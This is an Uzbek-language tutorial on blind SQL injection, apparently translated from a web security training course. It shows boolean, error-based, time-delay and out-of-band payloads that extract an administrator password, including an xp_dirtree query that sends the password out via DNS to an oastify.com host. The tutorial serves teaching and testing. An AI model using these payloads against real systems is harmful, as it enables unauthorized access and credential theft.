Bu bo'limda blind SQL ineksiya zaifliklarini topish va exploit qilish texnikalarini tushuntirib beramiz.
Agar ilovada SQL ineksiya zaifligi bo‘lsa-yu, lekin siz yuborgan query natijasi ham, database xatosi ham HTTP responseda ko‘rinmasa, bu Blind SQL ineksiya deb ataladi.
UNION hujumi kabi usullar blind SQL ineksiya zaifliklarida samara bermaydi. Sababi, bunday usullar ilovaning response ida siz qo‘shgan query natijasini ko‘ra olishga tayanadi. Shunga qaramay, blind SQL ineksiya orqali ham ma’lumotlarga ruxsatsiz kirish mumkin, faqat buning uchun boshqa usullardan foydalanish kerak.
Faraz qiling, ilova foydalanuvchini tanib olish uchun tracking cookie dan foydalanadi. Ilovaga yuboriladigan request larda quyidagiga o‘xshash cookie bo‘ladi:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4TrackingId cookie'si bor request kelganida, ilova bu avval identifikatsiya qilingan foydalanuvchimi yoki yo‘qmi, shuni bilish uchun quyidagi SQL query dan foydalanadi:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'Bu query SQL ineksiyaga zaif, lekin query natijasi foydalanuvchiga ko‘rinmaydi. Shunga qaramay, query natija sifatida ma’lumot qaytarsa ham qaytarmasa ham, ilova turlicha javob qaytaradi. Masalan, agar siz identifikatsiya qilingan TrackingId yuborsangiz, query ma’lumot qaytaradi va response da "Welcome back" degan xabar chiqadi.
Mana shu holatning o‘zi Blind SQL ineksiyadan foydalanish uchun yetarli bo‘ladi. Ya’ni, siz yuborgan shart rost yoki yolg‘on bo‘lishiga qarab turli response larni yuzaga keltirib, ma’lumotni asta-sekin bilib olishingiz mumkin.
Bu qanday ishlashini tushunish uchun, ketma-ket quyidagi TrackingId qiymatlari yuborildi deb olaylik:
…xyz' AND '1'='1
…xyz' AND '1'='2AND '1'='1 sharti rost. Shu sabab response da "Welcome back" xabari chiqadi.response da "Welcome back" xabari chiqmaydi.Shu yo‘l bilan siz yuborgan har bir alohida shart rostmi yoki yolg‘onmi, bilib olishingiz va ma’lumotni bo‘laklab chiqarib olishingiz mumkin.
Masalan, Users degan jadval bor deb olaylik. Unda Username va Password ustunlari bor, va Administrator degan foydalanuvchi mavjud. Siz shu foydalanuvchining password ini bir harfdan tekshirib topishingiz mumkin.
Bu queryni yuborasiz:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'mAgar response da "Welcome back" chiqsa, demak qo‘shilgan shart rost bo‘ladi. Bu esa password ning birinchi harfi m dan katta ekanini bildiradi.
Keyin quyidagi input yuboriladi:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'tAgar bu safar "Welcome back" chiqmasa, demak shart yolg‘on. Bu esa password ning birinchi harfi t dan katta emasligini bildiradi.
Oxiri quyidagi input yuboriladi va unda "Welcome back" chiqadi:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 'sBu esa password ning birinchi harfi s ekanini tasdiqlaydi.
Shu usulni davom ettirib, Administrator foydalanuvchisining to‘liq password ini birma-bir topish mumkin.
Ba’zi databaselar SUBSTRING funksiyasi SUBSTR deb nomlanadi. Batafsil ma’lumot uchun SQL ineksiya cheat sheet ga qarang.
Error-based SQL ineksiya shunday holatki, siz databasening xato xabarlaridan foydalanib, hatto blind holatda ham, database ichidagi maxfiy ma’lumotni bilib olishingiz mumkin bo‘ladi. Bunda nimalar qilish mumkinligi database sozlamalariga va qanday xatoni yuzaga keltira olishingizga bog‘liq bo‘ladi:
response qaytarishiga majburlashingiz mumkin. Bundan oldingi bo‘limda ko‘rganimizdek, bunda ham shartga qarab o‘zgaradigan responselar orqali foydalanish mumkin. Batafsil ma'lumot uchun, shartga bog‘liq xatolarni yuzaga keltirish orqali Blind SQL ineksiyadan foydalanishni ko'rib chiqing.Ba’zi veb ilovalar SQL queryni bajaradiyu, lekin query natija qaytarsa ham, qaytarmasa ham, ilovaning responsei o‘zgarmaydi. Bunday holatda oldingi bo‘limdagi usul ishlamaydi, chunki turli boolean shartlar yuborilganida ham ilovaning responseida farq bo‘lmaydi.
Ko‘pincha xatoni ataylab chiqarish mumkin bo‘ladi. Xato chiqsa, response odatdagidan farq qiladi. Shu farq orqali yuborilgan shart rost yoki yolg‘on ekani bilinadi. Ya’ni query ni shunday o‘zgartirasizki, shart rost bo‘lsa database xato bersin, yolg‘on bo‘lsa xato bermasin. Databasedan chiqqan va ushlanmagan xato ko‘pincha ilovaning response ida qandaydir farq paydo qiladi, masalan xato xabari chiqadi. Shu orqali siz yuborgan shart rostmi yoki yo‘qmi bilib olasiz.
Bu qanday ishlashini tushunish uchun, TrackingId cookie qiymati ketma-ket quyidagicha yuborilganini olaylik:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='aBu queryda CASE kalit so‘zi ishlatilgan. U shart rost bo‘lsa bitta qiymatni, yolg‘on bo‘lsa boshqa qiymatni qaytaradi.
CASE ifodasi 'a' qaytaradi, shuning uchun xato yuz bermaydi.1/0 bajariladi va nolga bo‘lish xatosi yuz beradi.Agar shu xato ilovaning HTTP response ida farq paydo qilsa, siz bundan foydalanib yuborgan shart rost yoki yolg‘on ekanini bilib olishingiz mumkin.
Shu usul bilan ma’lumotni har safar bitta belgidan tekshirib olish mumkin:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='aShartga bog‘liq xatolarni yuzaga keltirishning turlicha yo‘llari bor va har xil databaselarda turli usullar yaxshiroq ishlaydi. Batafsil ma’lumot uchun SQL ineksiya cheat sheet ga qarang.
Ba'zan ma'lumotlar bazasi noto'g'ri sozlanganda, ilova ichkarida nima bo'layotgani haqida batafsil xato xabarlari chiqaradi. Bu xabarlar hujumchi uchun foydali bo'lishi mumkin. Masalan, id parametriga bitta qo'shtirnoq yuborilganda quyidagi xato xabari chiqdi:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected charBu xabar ilovaning foydalanuvchi yuborgan ma'lumoti asosida tuzgan to'liq SQL so'rovini ko'rsatyapti. Ko'rinib turibdiki, biz WHERE shartidagi birtirnoqli string ichiga ineksiya qilyapmiz. Bu esa to'g'ri SQL so'rov tuzishni osonlashtiradi. Qolgan qismni comment bilan o'chirib tashlash ortiqcha qo'shtirnoqning sintaksis xatosiga olib kelishini oldini oladi.
Ba'zan ilovani shunday xato xabar chiqarishga majburlash mumkinki, u xabar ichida so'rovdan qaytgan ma'lumotlarni ham ko'rsatib qo'yadi. Bu aslida blind SQL ineksiyani oddiy ko'rinadigan SQL ineksiyaga aylantirib qo'yadi.
Buning uchun CAST() funksiyasidan foydalanish mumkin. U bir turdagi ma'lumotni boshqa turga o'giradi. Masalan, so'rovda quyidagi ifoda bo'lsin:
CAST((SELECT example_column FROM example_table) AS int)Odatda o'qimoqchi bo'lgan ma'lumotimiz string turida bo'ladi. Uni `int` kabi mos kelmaydigan turga o'girmoqchi bo'lsak, quyidagiga o'xshash xato chiqadi:
ERROR: invalid input syntax for type integer: "Example data"Belgilar (character) limiti sababli conditional response ishga tushmasa ham bu turdagi query foyda berishi mumkin.
Faraz qiling, ilova SQL so'rovdagi xatolarni ehtiyotkorlik bilan boshqaradi — ya'ni xato yuzaga kelsa ham ilovaning response'ida hech qanday farq ko'rinmaydi. Bunday holatda oldingi usullar ishlamaydi, chunki na so'rov natijasi, na xato javobda aks etadi.
Bunday vaziyatda ko'pincha shartga bog'liq ravishda vaqt kechikishini (time delay) yuzaga keltirish mumkin. SQL so'rovlar odatda ilova tomonidan sinxron bajariladi, shuning uchun so'rovni ataylab kechiktirsangiz, HTTP response ham shuncha kechikadi. Shu orqali yuborilgan shart rost yoki yolg'on ekanini javob kelish vaqtiga qarab aniqlash mumkin.
Vaqt kechikishini yuzaga keltirish usullari har bir databasega xos bo'ladi. Masalan, Microsoft SQL Server'da shartni tekshirib, natijasiga qarab kechikish qo'shish uchun quyidagilardan foydalanish mumkin:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--1=2 sharti yolg'on.1=1 sharti rost.Shu usuldan foydalanib, ma'lumotni har safar bitta belgidan tekshirib chiqarib olish mumkin:
'; IF (SELECT COUNT(username) FROM users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--Vaqt kechikishini yuzaga keltirish usullari turli databaselarda har xil bo'ladi. Batafsil ma'lumot uchun SQL ineksiya cheat sheet ga qarang.
Endi faraz qiling, ilova oldingi misoldagidek SQL so'rovni bajaradi, lekin buni asinxron tarzda amalga oshiradi. Ilova foydalanuvchi so'rovini asosiy oqim (thread)da ishlashda davom etadi, tracking cookie orqali SQL so'rovni esa boshqa oqimda bajaradi. So'rov hamon zaif, lekin yuqorida keltirilgan usullarning birortasi ishlamaydi: response'ga na natija, na xato, na vaqt kechikishi ta'sir qiladi.
Bunday vaziyatda ko'pincha o'zingiz boshqaradigan tizim bilan out-of-band (tarmoqdan tashqari) o'zaro aloqa yuzaga keltirib, zaiflikdan foydalanish mumkin. Bu aloqani yuborilgan shartga bog'lab, ma'lumotni bo'lak-bo'lak bilib olish mumkin. Bundan ham foydaliroq usul — ma'lumotni to'g'ridan-to'g'ri shu tarmoq aloqasi ichida tashqariga chiqarib olish (eksfiltratsiya).
Turli tarmoq protokollaridan foydalanish mumkin, lekin odatda eng samaralisi DNS. Ko'pgina production tarmoqlar DNS so'rovlarining tashqariga erkin chiqishiga ruxsat beradi, chunki ular normal ishlash uchun zarur.
Out-of-band usullardan foydalanishning eng oson va ishonchli vositasi — Burp Collaborator. Masalan, Microsoft SQL Server'da ko'rsatilgan domenga DNS so'rov yuborish uchun quyidagidan foydalanish mumkin:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.oastify.com/a'--Bu ko‘rsatilgan domenga DNS so‘rov yuboradi. Buni Burp Collaborator orqali kuzatib, ineksiya muvaffaqiyatli ekanini tasdiqlash mumkin.
Bundan yana ham uzoqroqqa borib, maxfiy ma'lumotni to'g'ridan-to'g'ri chiqarib olish mumkin:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.oastify.com/a"')--Bu esa olingan password'ni o'z ichiga olgan DNS so'rovni yuzaga keltiradi:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.oastify.comOut-of-band usullarni yuzaga keltirish har xil databaselarda turlicha bo'ladi. Batafsil ma'lumot uchun SQL ineksiya cheat sheet ga qarang.